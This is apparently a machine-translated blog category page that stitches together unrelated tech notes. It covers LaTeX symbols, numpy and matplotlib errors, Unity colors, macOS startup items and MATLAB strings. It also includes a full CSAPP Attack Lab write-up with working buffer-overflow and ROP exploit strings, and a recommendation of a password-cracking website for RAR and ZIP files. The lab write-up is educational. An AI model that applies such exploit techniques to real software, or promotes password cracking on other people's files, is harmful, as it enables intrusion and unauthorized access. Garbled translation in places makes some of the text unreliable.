Category Archives: How to Fix

[study notes] a quick search of latex mathematical symbols

Basic operation

    multiplication

    x

    ×

    y

    x \times y

    X × y
    x times y power

    two

    three

    x

    2^{3x}

    23x
    2 ^ {3x} square root

    x

    +

    y

    \sqrt {x + y}

    x+y

    \ sqrt {x + y} Division

    x

    ÷

    y

    x \div y

    X △ y
    x / div y score

    x

    y

    \frac{x}{y}

    YX
    \ frac {x} {y} XOR

    \oplus


    \ oplus is less than or equal to

    x

    y

    x \leq y

    X ≤ y
    x / Leq y is greater than or equal to

    x

    y

    x \geq y

    X ≥ y
    x / GEQ y is not equal to

    x

    y

    x \neq y

    X  = y
    x / NEQ y round down

    x

    \lfloor x \rfloor

    ⌊ x ⌋
    – round up

    x

    \lceil x \rceil

    ⌈ x ⌉
    \sum\limits_ {x = 1} ^ {n} 7x integral

    0

    π

    two

    sin

    (

    x

    )

    \int_ {0}^{\frac{\pi}{2}} \sin(x)

    ∫02π​​sin(x)
    \int_ {0}^{\frac{\pi}{2}} \sin(x)

Set symbol

    belongs to

    A

    B

    A \in B

    A ∈ B
    A / in B does not belong to

    A

    B

    A \notin B

    A ∈ / b
    A / notin B subset

    A

    B

    A \subset B

    A⊂B
    A \subet B

Greek alphabet

    α

    \alpha

    α \alpha

    β

    \beta

    β \beta

    θ

    \theta

    θ \theta

    π

    \pi

    π \pi

Vector matrix

    vector $/ VEC {V} $
    / VEC {V} matrix

    $
    \begin{pmatrix}
    a_ n\
    1
    \end{pmatrix}

    \begin{pmatrix}
    A&B\
    0&1
    \end{pmatrix}
    \times
    \begin{pmatrix}
    a_ {n-1}\
    1
    \end{pmatrix}
    $

The most practical [rar password cracking method]

Thank you very much for helping me solve the password of RAR compressed package. It’s really powerful. Later, found that this website solution zip and excel the same speed! Other formats have not been tried. There are also 7z, word, PDF, PPT and other files listed on their website.

It’s really difficult to forget the password for rar files like this. The chance of solving it by myself is very slim. I’ll record it here and give it to people in need.

website: https://jiemidashi.net/

“Typeerror: invalid dimensions for image data” in Matplotlib drawing imshow() function

The key to solve this problem is to understand the parameters of imshow function. matplotlib.pyplot.imshow () the input of the function needs to be a two-dimensional numpy or a three-dimensional numpy of 3 or 4. When the depth of the third dimension is 1, use np.squeeze The () function compresses data into a two-dimensional array. Because I use it in the python environment, the output of the result is (batch)_ Size, channel, width, height), so I first need the detach() function to cut off the backpropagation. It should be pointed out that imshow does not support the display of tensors, so I need to use the. CPU () function to transfer to the CPU. As mentioned earlier, the input of imshow function needs to be a two-dimensional numpy or a three-dimensional numpy of 3 or 4, because my usage is quite special, and there is an additional batch_ Size dimension, but it’s OK. I set up batch_ The size is only 1. At this time, you can use the. Squeeze() function to remove 1 and get a (channel, width, height) numpy, which obviously does not meet the input requirements of imshow. Therefore, we need to use the transpose function to move channel (= 3) to the end, which is why we have the usage of. Transpose (1,2,0). Of course, if the image to be displayed itself is channel = 1, you can use the squeeze() function to get rid of it and directly input it to the imshow function as a two-dimensional numpy

plt.imshow(img2.detach().cpu().squeeze().numpy().transpose(1,2,0))

 

Lingerror last 2 dimensions of the array must be square

Lingerror last 2 dimensions of the array must be square

reason

Because numpy uses X directly= numpy.linalg.solve (a, b) we must make sure that a is a square matrix, but my matrix is not a square matrix

solve

The least square method: C= np.linalg.lstsq (A, B, rcond=None)[0]

problem

It seems to be an equation with infinite solutions, and I don’t know how to output a unique solution in a specific range

CSAPP Experiment 3: attack Lab

1、 Resource overview

Download the compressed package Target1 from the website and unzip it to include the following files:
– README.txt : introduction of each file in the folder.
– ctarget and rtarget: executable files used for attack- cookie.txt : an eight hexadecimal number, some attacks will use.
– farm. C: source code of “gadget farm” used in ROP attack.
– hexraw: a tool for generating attack strings.

2、 Precautions

    to run ctarget and rtarget, the following parameters can be used:
    to run ctarget and rtarget

    -q: Self study is a required parameter to avoid the program looking for the teacher’s server. -h: List possible command line arguments – I file: read input from a file, not from standard input. Use “/ hexraw” to convert the expand string to bytecode. Reference for usage attack.pdf Appendix A of. In short, the input should be a set of two hexadecimal numbers separated by spaces. For example, hexadecimal 0 should be written as 00, and 0xdeadbeef should be written as “EF be ad de”. The usage of hexraw is as follows:

    unix> cat exploit.txt | ./hex2raw | ./ctarget

    This experiment can refer to section 3.10.3 and 3.10.4 of CS: app3e. If RET command is used to attack, the address should be one of the following:
    0

    The address of the function touch1, touch2 or touch3 is used to inject code. When constructing gadgets from rtarget file, the address should be in start_ Farm and end_ Between farms. The vulnerability lies in the getbuf function: it is impossible to know whether the buffer can hold the read string.

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

3、 Part I: code injection attacks

Attack target: when ctarget ctarget runs, the position on the stack is continuous, so the data on the stack is executable.

Phase 1

    task: when ctarget returns from getbuf, execute the code of touch1 instead of returning to test. Suggestions:

    Only disassembly code is required for the required information. You can use objdump – D to pay attention to the byte order, use GDB, and debug in the last few steps of getbuf to confirm that the position of buf in the stack frame depends on the constant buffer at compile time_ Size, and the allocation strategy used by GCC. The position of buf needs to be determined according to the disassembly code. View getbuf

    gdb-peda$ disas getbuf
    Dump of assembler code for function getbuf:
    => 0x00000000004017a8 <+0>:     sub    rsp,0x28
    0x00000000004017ac <+4>:        mov    rdi,rsp
    0x00000000004017af <+7>:        call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:       mov    eax,0x1
    0x00000000004017b9 <+17>:       add    rsp,0x28
    0x00000000004017bd <+21>:       ret    
    End of assembler dump.

    It is easy to find that the buffer size of buf is 0x28, so after filling 40 double words, the written address can cover the return address ret. Remember to make up the 0 after the address.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    c0 17 40 00 00 00 00 00

    Phase 1 is OK.

    cd@ubuntu :~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch1! : You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:1 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00

Phase 2

    task: when ctarget returns from getbuf, execute the code of touch2 instead of returning to test. And pass the cookie as a parameter to touch2. The code of touch2 is as follows:

    void touch2(unsigned val)
    {
        vlevel = 2;             /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }

    Suggestions:

    The first argument passed to the function is saved in% RDI. The injection code should set the value of the register to a cookie, and then use the RET instruction to jump to touch2. The RET instruction is always used to perform the control transfer of the program. reflection:

    The workflow of injecting code is as shown in the above suggestion. First, set the value of% RDI to the value of cookie, and then use the RET instruction to jump to touch2. The question is, how can we do the second step? The function of RET instruction: pop up address a from the stack, and then set PC to a. Usually the book is about how to use call and RET together. Here, you can use the RET function alone to push the address of touch2 into the stack to make it at the top of the stack, and then the RET instruction will transfer the control to touch2. Attention! The return address should be filled with 00 prefix; the address pressed into the stack should have * * a * * 00 prefix, the extra 00 will be mixed into the next instruction, and if there is no 00, the next instruction will be regarded as the address (GCC will handle it well, don’t add or delete it by itself).

    48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
    68 ec 17 40 00              /* pushq  $0x4017ec        */
    c3                          /* retq                    */
    00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00     /* old %rsp                */

    Phase 2 passed.

    cd@ubuntu :~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch2! : You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:2 :48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Phase 3

    task: phase 3 also needs to pass cookie as a parameter to touch3. But you need to pass the cookie as a string. Touch3 Code:

    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        /* cookie is trasfered from unsigned to string */
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }

    Suggestions:
    1

    You need to convert the cookie to a string representation. 8-digit hexadecimal Cookie – & gt; 8 hexadecimal digits. Note that the string ends with byte 0! The injection code should set% RDI to the address of the string. When calling hexmatch and strncmp, it will push the data onto the stack, so it will cover part of the memory in the buffer used by getbuf. Therefore, choose carefully where to put the cookie. Thinking: to pass the cookie string as a parameter to touch3. Then you need to find a location in the stack to save the cookie string. Modify the expand of phase 2, first put the cookie in the position of 0x5561dca8.

    48 c7 c7 88 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                    */

    At the & lt; + 17 & gt; and & lt; + 28 & gt; breakpoints of touch3, compare the changes of memory on the stack before and after calling hexmatch.

    gdb-peda$ disas touch3
    Dump of assembler code for function touch3:
       0x00000000004018fa <+0>:     push   rbx
       0x00000000004018fb <+1>:     mov    rbx,rdi
       0x00000000004018fe <+4>:     mov    DWORD PTR [rip+0x202bd4],0x3        # 0x6044dc <vlevel>
       0x0000000000401908 <+14>:    mov    rsi,rdi
       0x000000000040190b <+17>:    mov    edi,DWORD PTR [rip+0x202bd3]        # 0x6044e4 <cookie>
       0x0000000000401911 <+23>:    call   0x40184c <hexmatch>
       0x0000000000401916 <+28>:    test   eax,eax
       0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
       0x000000000040191a <+32>:    mov    rdx,rbx
       ......
    End of assembler dump.

    ≪ + 17 & gt;, where 0x5561dc78 ~ 0x5561dc9f are buffers with a size of 40 bytes. You can see that the memory of 0x5561dca0 is no longer the content written by expand, because touch3 has the operation of push RBX.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x48    0xc7    0xc7    0x88    0xdc    0x61    0x55    0x68
    0x5561dc80: 0xfa    0x18    0x40    0x00    0xc3    0x00    0x00    0x00
    0x5561dc88: 0x35    0x39    0x62    0x39    0x39    0x37    0x66    0x61
    0x5561dc90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    ≪ + 28 & gt;, where 0x5561dc78 ~ 0x5561dca0 are buffers. At this time, the content of the original buffer is basically different from the content written by expand.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x00    0xcc    0xb4    0x4a    0x28    0xa7    0xa4    0xb5
    0x5561dc80: 0x88    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
    0x5561dc88: 0xe8    0x5f    0x68    0x55    0x00    0x00    0x00    0x00
    0x5561dc90: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x16    0x19    0x40    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    For analysis, because hexmatch, sprintf and strncmp are called many times to press the stack, and the stack address written to the cookie is random, the incoming string cannot be saved in the buffer of getbuf function. The possible way is to save the string in the stack of getbuf’s parent process. As shown in exploit-3. exploit-3

    48 c7 c7 a8 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    FA 97 B9 59 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                */
    35 39 62 39 39 37 66 61 00      /* cookie, at $0x5561dca8 */

    Phase 3 passed successfully.
    sh
    gdb-peda$ c
    Continuing.
    Type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:3 :48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

4、 Part II: return oriented programming

In short, Part II is the same target as phase 2 and phase 3, but it needs to use ROP attack. Each gadget can implement a small step to complete the operation on the register, then RET, and then execute the next gadget. A series of executed gadgets form a chain to achieve our goal.

readme.pdf This paper gives byte encodings of instructions. When doing the questions, we can find out whether there are matching gadgets in the gadgets farm.

Rtarget uses two techniques to prevent code injection attacks

    stack address randomization stack is not executable
attack mode: execute existing code instead of injecting new code. The most common is ROP.

    ROP can form a chain of gadgets. Through the RET instruction at the end of each gadget, the program can jump to the beginning of the next gadget. The gadgets farm in rtarget is created by start_ Farm and end_ Farm, do not try to build gadgets from other parts of the program.
the following commands are allowed:

Suggestions of movqpopqretnop:
1

Delimitation area: from start_ Farm to mid_ Farm this attack can only use two gadgets. When a gadget uses the POPQ instruction, it will pop data from the stack. Therefore, the expand string should contain the widget address and data.

Phase 4

    thinking:
    first pass the cookie into% RDI, and then go to the touch2 function. according to readme.pdf POPQ% RDI is not found in gadets farm. So we can first POPQ% rax, then movq% rax, and% rdiexploit-4
    here, the buffer is completely filled with junk, and then execute downward from RET of getbuf. Two gadgets are used, and the data used is also put on the stack.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    cc 19 40 00 00 00 00 00     /* jump 0x4019cc; popq %rax         */
    fa 97 b9 59 00 00 00 00     /* cookie                           */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5; movq %rax, %rdi   */
    ec 17 40 00 00 00 00 00     /* touch2                           */

    Through phase 4

    gdb-peda$ r -q < ./exploit-4-raw.txt 
    Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab attacklab
        result  1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

    thinking: just like phase 5, we need to consider how to store the cookie string, and we need to solve the problem of passing the string address to% RDI. First of all, the buffer of getbuf should all be filled with junk, so the cookie string must be placed at the end of the exploit in order not to interfere with the normal operation of the exploit. Second, at the beginning, we found many operations in the gadgets farm as follows:

    mov    $0x909078fb,%eax
    lea    -0x3c3876b8(%rdi),%eax
    movl   $0xc7c78948,(%rdi)
    ......

    So I thought about using these values to piece together an address and put the cookie string there. But because of stack randomization, this idea is not good. Later, after reading some answers, I found that there was a magic operation like movq% RSP% rax, so that I could get the address of the cookie string in the way of (% RSP) + X. Then it’s a patchwork, using eight gadgets to complete the expand. Exploit-5
    for this kind of exploit, which needs a lot of gadgets to complete, I think the idea must be the most important, but after the idea is clear, when composing the chain of gadgets, you might as well use the reverse order search method, which may be faster. Of course, we will definitely use some tools to find gadgets in the future.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    06 1a 40 00 00 00 00 00     /* jump 0x401a06               ;movq %rsp, %rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    ab 19 40 00 00 00 00 00     /* jump 0x4019ab               ;popq %rax       */
    48 00 00 00 00 00 00 00     /* distance from here to cookie string          */
    dd 19 40 00 00 00 00 00     /* jump 0x4019dd               ;movl %eax, %edx */
    34 1a 40 00 00 00 00 00     /* jump 0x401a34               ;movl %edx, %ecx */
    13 1a 40 00 00 00 00 00     /* jump 0x401a13               ;movl %ecx, %esi */
    d6 19 40 00 00 00 00 00     /* jump 0x4019d6        ;lea (%rdi,%rsi,1),%rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    fa 18 40 00 00 00 00 00     /* touch3                                       */
    35 39 62 39 39 37 66 61     /* cookie string                                */
    00 00 00 00 00 00 00 00     /* string ends with 00                          */

    Through phase 5

    GDB PEDA $
    continuing.
    type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : rtarget:3 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

5、 References

    CS: app supporting Experiment 3: attack lab notes [Reading thick CSAPP] III GDB quick guide of attack labbeej

Invalid normalized color error in unity

For example,
Color C = new color (0xf2, 0xff, 0xff);
is used label.color = c;

Compile without error, open the interface will report the above error. This is because the values of R, G, B and a in the color construction method range from 0 to 1. The value range of color32 construction method is 0 to 255, so it needs to be changed to

Color c = new Color32(0xF2,0xFF,0xFF);

Mac boot boot the most detailed explanation, so that the automatic start of the program can not escape

##Login items
the program started by the current user of Mac OSX after successful login. The configuration file of the startup items of this category is stored in ~ / library / preferences/ com.apple.loginitems . plist, so only for the current user, you can set it in the following ways:

1. Set under “users and groups” in system preferences, which can be deleted, added, opened and closed;

2. You can modify ~ / library / preferences directly/ com.apple.loginitems . plist configuration file, in which each startup item corresponds to a dictionary, with three values of alias, icon and name, in which name is nsstring type and others are data type. We don’t know how to generate it serially, so we can delete it at present;

3. Add and delete through lssharedfilelistinsertitemurl and lssharedfilelistitemremove method, and related introduction (the registration program starts up)

##Launchdemon
this type of startup items are all started by launchd. Launchd is the key process used to initialize the system environment in Mac OS. It is the first process started in OS environment after the kernel is loaded successfully. In this way, it is very easy to configure the self booting item. Only one plist file is needed. The directory where the plist file exists is

~/Library/LaunchAgents

/Library/LaunchAgents

/System/Library/LaunchAgents

The above three directories are the recommended paths for the system. They are the processes started after login

~/Library/LaunchDaemons

/Library/LaunchDaemons

/System/Library/LaunchDaemons

If it is placed in the above three directories, it will be started as the daemons and the processes started immediately after the system starts

Different directory processes have different permissions and priorities. You can set them in the following ways:

1. Through launchctl load xxx.plist Or launchctl unload xxx.plist Command to add and delete the specified startup items;

2. Directly create, modify and delete plist files under related directories.

The main fields in plist and their meanings

Label is used as a unique identifier in launchd, similar to that every program has an identifier.

User name specifies the user to run the startup item. This item is applicable only when launchd is running as root.

Groupname specifies the group to run the startup item. This item applies only when launchd is running as root.

The key value of keepalive is used to control whether the executable file runs continuously or starts after meeting specific conditions. The default value is false, that is to say, it will not start until the specific conditions are met. When the setting value is true, the executable file will be opened unconditionally and kept in the whole system running cycle.

Runatload identifies that launchd starts the executable file specified by the path immediately after loading the service. The default value is false.

The value program is used to specify the path of the executable file of the process.

Programarguments if program is not specified, it must be specified, including executable files and running parameters.

##3. Startupitems
startupitems, as the name suggests, are programs that run during the system startup. They can be programs that terminate immediately after running (for example, start to empty the wastebasket), or they can be background processes that continue in the system running cycle.

Startupitems are generally stored in the following two paths:

1)/System/Library/StartupItems

2)/Library/StartupItems

Most of the system related startupitems are placed in the path of / system / library / startupitems, and they will be executed prior to the path of / library / startupitems, because the startupitems in the path of the former provide system level basic services, such as crash reporting, core graphics services, system The latter path does not exist by default and needs to be created manually.

Here we take iceberg control tower in / library / startupitems directory as an example.

In short, on Mac OS X, a startupitems includes the following two aspects:

1) Executable program;

2) Plist file containing dependent process relationships( StartupParameters.plist )。

StartupParameters.plist Is a property list that contains the necessary conditions for running an executable program, the main fields in plist, and its meaning

The plist needs to obtain root permission, which includes several aspects:

1)Description;

A simple description of the service is only a description, not the actual process name.

2)Provides;

Specify the services provided by startupitems. As shown in the plist file provides, the background process started by startupitems is named iceberg control tower.

Provides can specify multiple services, which are reflected in the figure as item0, Item1 And so on. There is only item0.

3)Uses;

Specifies the services that need to be opened before startupitems is loaded. The Mac OS X system first attempts to load the service specified in uses, and then loads startupitems. In other words, even if the service specified in uses is not loaded successfully, the system will still load startupitems.

4)OrderPreference;

Specifies the chronological order in which startupitems are executed. The importance of this order comes after uses, which is the order after the specified uses are executed. Possible values include: first, early, none (default), late, last.

5)Messages。

The Executable File

Note: 1) the name of the executable file is the same as that of the folder where it is located, which is the default rule of the system.

2) Root permission is required to operate the executable.

3) The executable is a shell script.

Open the executable file with the same name in the icebergcontroltower file directory to see the specific content of the script

The general executable file includes the following aspects:

1)./etc/ rc.common

A script library provided by apple, which contains the interface of importing parameters for executable files. Here, the library mainly calls runservice.

2)StartService(), StopService(), RestartService()

When the parameters received by the executable file are start, stop or restart, the corresponding functions are executed.

Parameter meaning:

Start: start the service during startup;

Stop: stop the service during shutdown;

Restart: restart the service under specific conditions.

3)RunService “$1”

Executes the service specified by the first parameter passed to the script.

“$1” represents the first parameter passed to the script. For example, if the passed in parameter is start, startservice() is executed.

(some of the contents are quoted in http://blog.csdn.net/abby_ sheen/article/details/7817198

How to wrap a long string in MATLAB

Too long to read

Examples are as follows:

% Port definition
fprintf(fID,[...
    '\n'...
    'input clk;'                    '\n'...
    'input rst_n;'                  '\n'...
    'input [%d:0] msg;'             '\n'...%row-1
    'input in_valid;'               '\n'...
    'output reg [%d:0] codeword;'   '\n'...%col-1
    'output reg out_valid;'         '\n'...
    ],row-1,col-1);

Add brackets; divide a long string into multiple substrings; at least one space between substrings; use ... for line breaks

text

I’ve been working on the design recently, and one of them needs to write a very troublesome Verilog file. It is troublesome but not complicated. The encoder of LDPC is an input signal with a width of more than 200 bits and an output signal with a width of more than 500 bits. Each output bit is obtained by the same operation of some input bits, and the corresponding relationship is represented by a matrix with a width of more than 200 * 500. If you want to write Verilog, it will be dead. If you write generation logic in Verilog, it will take up a lot of memory to store the generation matrix, and the logic is difficult to write. So I thought of using matlab code to generate Verilog code.

There is fprintf function in MATLAB to output data to file.
Take a chestnut, fprintf (FID, 'hello world! "); can put” Hello world! ” Output to the file corresponding to FID.
The function to open a file is FID = fopen ('filepath ')/ filename.postfix ','w'); where w means write, and if it is read, it will be changed to R. for more usage, please help fopen

So the problem is, if I output every line of Verilog code with one fprintf, then my. M file will be full of a lot of fprintf, and I can’t bear this kind of highly repetitive code. But if I write each function block in an fprintf, the readability is really much higher, but the fprintf line will be very long, also can’t bear, and the modification will be very painful!
So I went to see if there was a newline character like ‘\’ in a Linux script, and let the interpreter execute multiple lines of code as one line.

There is this newline character,
... ← three points are the newline character in MATLAB. You can connect the end of the row with the head of the next row.
But another problem comes out. This newline character can’t be used in the middle of a string. I regard a whole block of code as a string. If a newline character is added in the middle, the interpreter will output the newline character as the content to be output.

The parameters of fprintf are file handler, output array and output data (if any).
Take chestnuts as an example: fprintf (FID, 'data1% D, n', data1);
the string in the middle will be regarded as an array with only one element.
So the solution is to add a few more elements to the middle array to split the long string and add line breaks between the substrings.

Take chestnuts:

% Port definition
fprintf(fID,[...
    '\n'...
    'input clk;'                    '\n'...
    'input rst_n;'                  '\n'...
    'input [%d:0] msg;'             '\n'...%row-1
    'input in_valid;'               '\n'...
    'output reg [%d:0] codeword;'   '\n'...%col-1
    'output reg out_valid;'         '\n'...
    ],row-1,col-1);

Each small string enclosed in single quotation marks will be interpreted as an element of the output array. The substrings are separated by spaces (multiple, at least one) or commas, that is, a single line matrix (array).
Bracket is indispensable, which is the identification of combining each substring into an array.

In addition, Verilog often needs to output things like 3b'101 , and single quotation marks are used as the start / stop characters of elements. If you want to output single quotation marks, you need to type two single quotation marks in succession. For example: fprintf (FID, 'outdata & lt; = 3' 'B101') . This is also why there should be at least one space between two substrings. If there is no space, it will be connected and there will be a single quotation mark in the middle.